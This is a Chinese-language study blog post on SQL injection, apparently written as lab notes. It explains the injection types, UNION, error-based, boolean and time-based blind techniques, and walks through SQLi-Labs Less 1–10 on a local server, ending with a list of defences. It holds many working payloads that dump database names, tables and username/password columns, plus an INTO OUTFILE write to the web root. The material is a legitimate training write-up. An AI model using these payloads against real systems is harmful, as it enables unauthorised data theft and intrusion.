SQL注入学习:基础原理与 SQLi-Labs 练习

本文记录 SQL 注入的基本类型、常见函数、联合查询、报错注入、布尔与时间盲注,并整理 SQLi-Labs Less 1–10 的本地靶场练习。文中测试仅适用于授权的本地学习环境。

1.SQL注入的类型

1.1基于从服务器接收的响应

  • 基于错误的SQL注入
  • 联合查询的类型
  • 堆查询注入
  • SQL盲注
    • 基于布尔SQL盲注
    • 基于时间SQL盲注
    • 基于报错SQL盲注

1.2.基于如何处理输入的SQL查询(数据类型)

  • 基于字符串
  • 数字或整数为基础的

1.3.基于程度和顺序的注入(哪里发生了影响)

  • 一阶注射
  • 二阶注射

一阶注射是指输入的注射语句对 WEB 直接产生了影响,出现了结果;二阶注入类似存储型 XSS,是指输入提交的语句,无法直接对 WEB 应用程序产生影响,通过其它的辅助间接的对 WEB 产生危害,这样的就被称为是二阶注入

1.4.基于注入点的位置上

  • 通过用户输入的表单域的注入
  • 通过cookie注射
  • 通过服务器变量注射

2.常用操作

2.1.常用的函数

  • version() – mysql版本
  • user() – 数据库用户名
  • database() – 数据库名
  • @@datadir – 数据库路径
  • @@version_compile_os – 操作系统版本

2.2.字符串连接函数

  • concat(str1,str2…) – 没有分隔符的连接字符串
  • concat_ws(separator,str1,str2,..) – 含有分隔符的连接字符串
  • group_concat(str1,str2,..) – 连接一个组的字符串,并且以都好分割每一条数据

2.3.一般用来尝试的语句

这里尝试的语句,会因为不同的SQL查询写的结构不同,需要尝试不同的组合来构造SQL注入

  • or 1=1–+
  • ‘ or 1=1 –+
  • “ or 1=1–+
  • ) or 1=1–+
  • ‘) or 1=1 –+
  • “) or 1=1–+
  • “)) or 1=1–+

2.4.理解

程序先写好了一段SQL,我的输入只是被塞到了中间

1
WHERE id=('输入的位置')

这段程序是三部分拼起来:

1
2
3
程序写好的前半段  我的输入  程序写好的后半段
where id = (' 5 ')
这里5就是我的输入

现在要把 or 1=1这个全真的条件加进去,假设输入一个or 1=1

1
where id=('5 or 1=1')

这样的查询体也就是 5 or 1=1

所以可以这样输入5') or 1=1

这样输入就变成了这样

1
where id=('5')or 1=1')

这样就基本构造出来了,现在看还有一个条件,就是最后的')还是会影响查询

所以加入注释--,也就是

1
where id=('5')or 1=1 --')

相当于把最后的')注释掉了,最后带入的查询也就是

1
where id=('5') or 1=1

OR 1=1 会让筛选条件对所有记录都成立,所以原本只查一个用户,会变成查出所有用户

2.5.UNION操作符

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的SELECT语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条SELECT 语句中的列的顺序必须相同。

UNION 语法(不允许重复的值)

1
2
3
SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2

UNION ALL 语法(允许重复的值)

1
2
3
SELECT column_name(s) FROM table_name1
UNION ALL
SELECT column_name(s) FROM table_name2

UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。

2.6.SQL中的逻辑运算

AND 优先级大于or

2.6.1.万能密码

1
Select * from admin where username=’admin’ and password=’’or 1=1#’

3.SQL注入的流程

数据库 -> 数据表 -> 列 -> 数据项

4.SQL注入流程方法总结

4.1.判断SQL注入是字符型还是数字型

4.1.1.方法一:order by法

构造payload为:id=1 order by 9999 --+

  • 如果正确返回页面,则为字符型
  • 否则,为数字型

字符型执行的sql语句为select * from user where id=’1 order by 9999 –+’,注释符【- -】实际上在执行的时候,被当成id的一部分,也就是说,在执行sql语句的时候,条件是id=’1 order by 9999 –+’。最终只会截取前面的数字,返回id=1的结果。
如果是数字型的话,执行的sql语句为select * from user where id=1 order by 9999 –+,在现实生活中,根本就没什么可能会存在有9999个字段的表,所以会报错。

4.1.2.方法二:逻辑判断法

id 一般在数据库存储都是int 类型,username和password 肯定是字符类型的

1
2
SELECT * FROM users WHERE username = 'Dhakkan' 不报错
SELECT * FROM users WHERE username = Dhakkan 报错

4.1.3.方法三:常规方法

先测?id=1' 报错

数字型

?id=1 and 1=1 --+ 逻辑对,不报错

  • 查询语句为select from user where id=1--+

?id=1 and 1=2 --+ 逻辑不对,报错

  • 查询语句为select from user where id=2--+

字符型

?id=1 and 1=2--+不报错:因为被当作整个字符串处理了

  • 查询语句select from user where id='1 and 1=2--+'
  • id这个属性mysql 查询到 1 后面的第一个字母,就停止了,模糊判断1 and 1=2--+为 1

4.2.联合注入

sql 有回显的地方(把本身的回显屏蔽了,然后查询自己想要的内容)

1
2
id=1' union select 1,2,3--+
SELECT * FROM users WHERE id='1' union select 1,2,3-- ' LIMIT 0,1;

image-20261102133435071

还是显示的原来查询的东西,这个时候需要屏蔽他,

才能得到我们想要的回显

改为 -1 即可

1
id=-1' union select 1,2,3--+  

image-20261102133449234

4.3.联合查询的使用

1.已经用 order by 查出数据库列数,联合查询的 1 ,2,3 数量应和列数相同,且在最后一个位置(3)查数据

2.注意,查询位置的类型,应该和该列的默认数据类型相同

3.首先用 union select 1,2,3 判断回显信息的位置

4.然后利用回显的位置查询库、表、用户…

4.3.1.查库

1
2
?id=-1' union select 1,schema_name from information_schema.schemata,3;--+
可以看到,这里只能显示一行,通过limit 0,1逐步增加第二个可以得到数据

把所有数据链接、拼接为一行,进行显示

1
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata;--+

image-20261102133746046

4.3.2.查表

查表(从 security 数据库中)

1
2
3
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';--+
table_schema='security'可能会带来单引号问题,建议转为16进制(且前面加上0x)
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479;--+

4.3.3.查列名

1
2
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';--+  // 编码如下
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273;--+

4.3.4.查列中的值

1
2
3
4
?id=-1' union select 1,2,group_concat(username,password) from security.users;--+
可以看到密码和账号没有分开,用新的拼接函数。先拼接显示、再拼接为一行
?id=-1' union select 1,2,group_concat(concat_ws(' ',username,password))from security.users;--+
?id=-1' union select 1,2,group_concat(concat_ws(0x20,username,password))from security.users;--+ 编码一下

4.4.联合注入总结

1
2
3
4
5
6
7
8
9
10
记得把联合查询后面:所有的有'单引号的地方——删除单引号、编码为hex、前面加上0x
?id=1' 如果报错了,则有注入
?id=1' order by 3--+ 二分法,查看有多少列,当报错说明列数大了,直到不报错为止(小于等于列数,就不会报错)
?id=-1' union select 1,2,3;--+ 看哪些列有回显,这里是23列
注意用作返回信息的列的返回数据类型,需要与对应数据库中列的默认数据类型相同(但是用户名密码一般都是字符型,不存在)
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata;--+ 查看有哪些数据库
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';--+ 查看security中所有表,注意:table_schema容易打错
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';--+ 查看security中users表中的所有字段
?id=-1' union select 1,2,group_concat(concat_ws(':',username,password)) from security.users;--+ 查security数据库中users表中的username和password字段的值

4.5.报错注入

4.5.1.xpath报错注入(extractvalue和updatexml)

在mysql高版本(大于5.1版本)中添加了对XML文档进行查询和修改的函数:

updatexml(XML_document, XPath_string, new_value)

extractvalue(XML_document,xpath_string)

当这两个函数在执行时,如果出现xml文档路径错误就会产生报错

updatexml(para1,para2,para3)用于修改para1 文件名、para2 文件路径 Xpath、para3 新值

extractvalue(para1,para2)用于修改para1 文件名、para2 文件路径 Xpath

payload 都在 para2 处,区别只是有没有 para3,para1 和 para3 随意填即可

当 xml 文档路径错误,会报错,使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)

updatexml()函数

updatexml(XML_document, XPath_string, new_value)

  • updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。
  • 作用:改变文档中符合条件的节点的值
  • 语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据
  • updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
  • 例如: select * from test where id = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。

使用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
id=1' and updatexml(1,concat(0x7e,(<payload>),0x7e),1) --+

# 查当前使用数据库
?id=1' and updatexml(1,concat(0x7e,(select database())),1)--+
# 查有哪些数据库
?id=1' and updatexml(1,concat(0x7e,substring((select group_concat(schema_name) from information_schema.schemata),35,32)),1)--+
# 查当前数据库名、版本、用户
?id=1' and updatexml(1,concat(0x7e,database(),version(),0x7e, user()),1)--+
# 查security数据库里有哪些表
?id=1' and updatexml(1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),1)--+
# 查security数据库中有哪些columns
?id=1' and updatexml(1,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema ='security'),1)--+
# 使用substring调整返回数据
?id=1' and updatexml(1,substring((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema ='security'),1,32),1)--+
# 查security.users中的username&password列
?id=1' and updatexml(1,substring((select group_concat(concat_ws(':',username,password)) from security.users),15,32),1)--+

extractvalue()函数

extractvalue(XML_document,xpath_string)

  • 此函数从目标XML中返回包含所查询值的字符串 语法:extractvalue(XML_document,xpath_string) 第一个参数:string格式,为XML文档对象的名称 第二个参数:xpath_string(xpath格式的字符串) select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
  • extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
  • select user,password from users where user_id=1 and (extractvalue(1,0x7e));
  • 由于0x7e就是~不属于xpath语法格式,因此报出xpath语法错误。

使用方法

1
2
3
4
5
6
7
8
9
10
11
12
?id=1' and extractvalue(1,concat(0x3a,database(),0x3a,version(),0x3a,user()))--+

# 查当前使用的数据库、版本、用户
?id=1' and extractvalue(1,concat(0x3a,database(),0x3a,version(),0x3a,user()))--+
# 查有哪些数据库
?id=1' and extractvalue(1,substring((select group_concat(schema_name) from information_schema.schemata),35,32))--+
# 查security数据库中有哪些表
?id=1' and extractvalue(1,(select group_concat(table_name) from information_schema.tables where table_schema='security'))--+
# 查security数据库中users表中有哪些columns
?id=1' and extractvalue(1,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'))--+
# 查security.users中的username和password
?id=1' and extractvalue(1,substring((select group_concat(concat_ws('_',username,password)) from security.users),1,32))--+

4.5.2.floor()函数报错注入

floor()函数学习

利用select count(*),floor(rand(0)*2)x from information_schema.character_sets group by x;导致数据库报错,通过concat函数连接注入语句与floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。

4.6.布尔盲注

布尔盲注的核心是:页面不直接显示查询结果,只根据条件为真或假表现出不同状态。你通过构造一系列真假问题,逐步推断数据。

大概思路是这样

1
2
3
4
5
6
确认存在值
→ 判断长度
→ 取第 1 个字符
→ 判断字符范围或 ASCII 值
→ 取第 2 个字符
→ 重复直到得到完整名称
函数 用途 示例
DATABASE() 当前数据库名 DATABASE()='security'
LENGTH() 字符串长度 LENGTH(DATABASE())=8
SUBSTRING() 截取指定位置字符 SUBSTRING(DATABASE(),1,1)
ASCII() 字符转 ASCII 数值 ASCII(SUBSTRING(DATABASE(),1,1))=115
ORD() 也可获取字符数值 ORD(SUBSTRING(DATABASE(),1,1))=115
COUNT() 统计行数 COUNT(*)=4
IF() 根据条件选择结果 IF(条件,1,0)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
1.判断当前数据库名长度与数据库名称
and select length(database())>n //判断数据库名长度
and ascii(substr(database(),m,1))>n //截取数据库名第m个字符并转换成ascii码 判断具体值

2.判断数据库的表长度与表名

and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))>n //判断第一行表名的长度

and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),m,1))>n //截取第一行表名的第m个字符串转换为ascii值判断具体为多少
3.判断数据库的字段名长度与字段名称

and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>n //判断表名中字段名的长度

adn ascii((substr(select column_name from information_schema.columns where table_name='users' limit 0,1),m,1))>n //截取表中字段的第m字符串转换为ascii值,判断具体值

4.判断字段的内容长度与内容字符串
and length((select user from users limit 0,1)) >1 //判断字符串内容长度

and ascii(substr((select user from users limit 0,1),m,1)) //截取第m个字符串转换为ascii值

4.7.时间盲注

在SQL注入过程中,无论注入是否成功,页面完全没有变化。此时只能通过使用数据库的延时函数来判断注入点一般采用响应时间上的差异来判断是否存在SQL注入,即基于时间型的SQL盲注
select id,name from product where id=1 and sleep(2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
枚举当前数据库名
- id =1' and sleep(3) and ascii(substr(database(),m,1))>n --+

枚举当前数据库的表名

- id =1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit a,1),m,1))>n and sleep(3) --+

或者利用if函数
- id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit a,1),m,1)) >n,sleep(5),1) --+

枚举当前数据库表的字段名

- id =1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit a,1),m,1))>n and sleep(3) --+

枚举每个字段对应的数据项内容

- id =1' and ascii(substr((select username from security.users limit a,1),m,1))>n and sleep(3) --+

sqli-lab练习

Less - 1

1
http://localhost:8088/Less-1/?id=1%27

image-20261102124726345

出现报错提示,多了一个单引号,下面尝试'or 1=1--+

1
http://localhost:8088/Less-1/?id=1%27%20or%201=1--+

image-20261102124950066

这里正常返回了数据,和插入id=1的效果一致

1
SELECT * FROM users WHERE id='' OR 1=1-- ' LIMIT 0,1

使用order by 来查询列数 ' order by 4'

image-20261102125840311

查询到第四列的时候出现报错,也就是在查询中只返回三列

为什么要知道这个列数那?

因为 UNION 用来把两个查询的结果合并,而两边返回的列数必须相同。

例如,下面两边都是三列,可以进行联合查询,类型还需兼容:

1
2
3
SELECT id, username, password FROM users
UNION
SELECT 0, '示例用户', '示例密码';

如果第二个查询只有两列,就会因为列数不一致而报错。

1
2
3
4
5
验证输入能否影响查询
↓
用 ORDER BY 推断结果列数
↓
为构造列数匹配的 UNION 查询做准备

然后插入-1' UNION ALL SELECT 111,222,333--+

这里-1 的功能就是让原本查询不再返回记录,然后使用UNION ALL 查询,标记三行的内容

image-20261102130338611

1
-1' UNION ALL SELECT 111,'hello','test'--+

image-20261102130508281

1
2
3
SELECT 111, 'hello', 'test'
-- ① ② ③
-- 不显示 用户名处 密码处

接下来可以这样输入

1
-1' UNION ALL SELECT 111,DATABASE(),VERSION()--+

image-20261102130740470

位置 内容 作用
第 1 列 111 保持三列,页面不显示
第 2 列 DATABASE() 返回当前连接选中的数据库名
第 3 列 VERSION() 返回数据库服务器版本

这里虽然是列出来了我们的数据库名字,但是我们想要知道都有什么数据库,就需要查询一下数据库名字,爆数据库名

1
-1' UNION ALL SELECT 111,GROUP_CONCAT(schema_name),333 FROM information_schema.schemata--+
部分 作用
information_schema.schemata 存放数据库的元信息
schema_name 数据库名
GROUP_CONCAT(schema_name) 把多个数据库名拼成逗号分隔的文字
第 2 列 在页面用户名的位置显示结果

image-20261102131234363

我们现在使用的是secruity数据库,所以我们现在要查询一下这个数据库中的表

1
-1' UNION ALL SELECT 111,GROUP_CONCAT(table_name),333 FROM information_schema.tables WHERE table_schema='security'--+

image-20261102131659583

查看security中users表中的所有字段

1
-1' UNION ALL SELECT 111,GROUP_CONCAT(column_name ORDER BY ordinal_position),333 FROM information_schema.columns WHERE table_schema='security' AND table_name='users'--+

image-20261102131832643

查询security中users表中的username和password

1
-1' UNION ALL SELECT 1,GROUP_CONCAT(CONCAT(username,0x3a,password)),3 FROM security.users--+

image-20261102132620694

Less - 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
?id=1'  #报错
?id=1 and 1=1--+ #不报错
?id=1 and 1=2--+ #报错
# 可以判断为这个题为数字型注入

?id=1 order by 4--+ # 依旧测试到4列时候出现错误
?id=-1 union select 1,2,3--+ # 测试回显

#查有哪些库
?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
#查security库里有哪些表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
#查users表里面有哪些字段
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+
#查users表中字段为username、password的所有信息
?id=-1 union select 1,2,group_concat(concat_ws('--',username,password)) from security.users--+

下面是对应的图片

测试单引号

image-20261102134158819

测试数字还是字符

image-20261102142455333

image-20261102142508359

测试列的数量

image-20261102142524678

测试union回显

image-20261102142601430

爆数据库名

image-20261102142621740

爆security数据库中的表名

image-20261102142648111

爆security数据库中的users表中的字段

image-20261102142739987

爆security数据库中的users表中的的username和password

**image-20261102142801411**

Less - 3

1
?id=1' 

这里多了一个括号,猜测是') 闭合

image-20261102143213444

1
2
3
4
5
6
7
?id=1' # 报错
?id=1 and 1=1 # 不报错
?id=1 and 1=2 # 不报错,判断为字符类

?id=1')--+
?id=1') order by 4--+
#后面和前两个less是基本一致,闭合')即可

Less - 4

1
2
3
?id=1 
?id=1'
?id=1" #报错

image-20261102143807235

这里猜测还有括号

1
2
3
4
5
6
?id=1")--+ #不报错,所以得到需要闭合")
?id=1 and 1=1 # 不报错
?id=1 and 1=2 # 不报错,得到是字符类型

?id=1") order by 4--+
#往下就不再赘述,是一样的

Less - 5

1
?id=1

image-20261102144153979

这里id输入的肯定是没有问题的,但是为什么没有和之前的一样出现username和password,猜测是不是得需要盲注

这里采用updatexml() 函数来注入

查看使用的数据库

1
?id=1' and updatexml(1,concat(0x7e,(select database())),1)--+

image-20261102154551170

查看security 数据库中的表

1
?id=1' and updatexml(1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),1)--+

image-20261102154642757

查看security 数据库中的users表的字段

1
?id=1' and updatexml(1,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema ='security'),1)--+

image-20261102154711571

使用substring调整返回数据

1
?id=1' and updatexml(1,substring((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema ='security'),1,32),1)--+

查security.users中的username和password列

1
2
3
使用substring调整了返回数据
?id=1' and updatexml(1,substring((select group_concat(concat_ws(':',username,password)) from security.users),15,32),1)--+

image-20261102154954204

Less - 6

1
?id=1" # 报错,然后和less 5 一样是盲注,只不过单引号换成双引号,略过了

Less - 7

基础步骤和上面几道题是差不多的,这个的特点是要导出数据到文件

1
?id=1'))+UNION+SELECT * from security.users INTO OUTFILE "/var/www/html/Less-7/users.txt"--+ 

Less - 8

和 Less-7 注入方式一致,只是拼接方式不一样

Less - 9

时间盲注

1
2
?id=1' and if(ascii(substr(database(),1,1))>114,1,sleep(5))--+
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+

Less - 10

时间盲注,闭合方式和9不一样而已

总结

SQL 注入的主要防御方法有:

  • 使用参数化查询或预编译语句,避免直接拼接用户输入;
  • 对输入进行类型和格式校验,例如 ID 只允许整数;
  • 数据库账户使用最小权限,禁止不必要的增删改和文件操作权限;
  • 不向用户直接返回详细 SQL 错误信息;
  • 避免使用黑名单过滤关键词,因为容易被绕过;
  • 对关键操作进行权限验证和日志记录;
  • 定期进行代码审计和安全测试。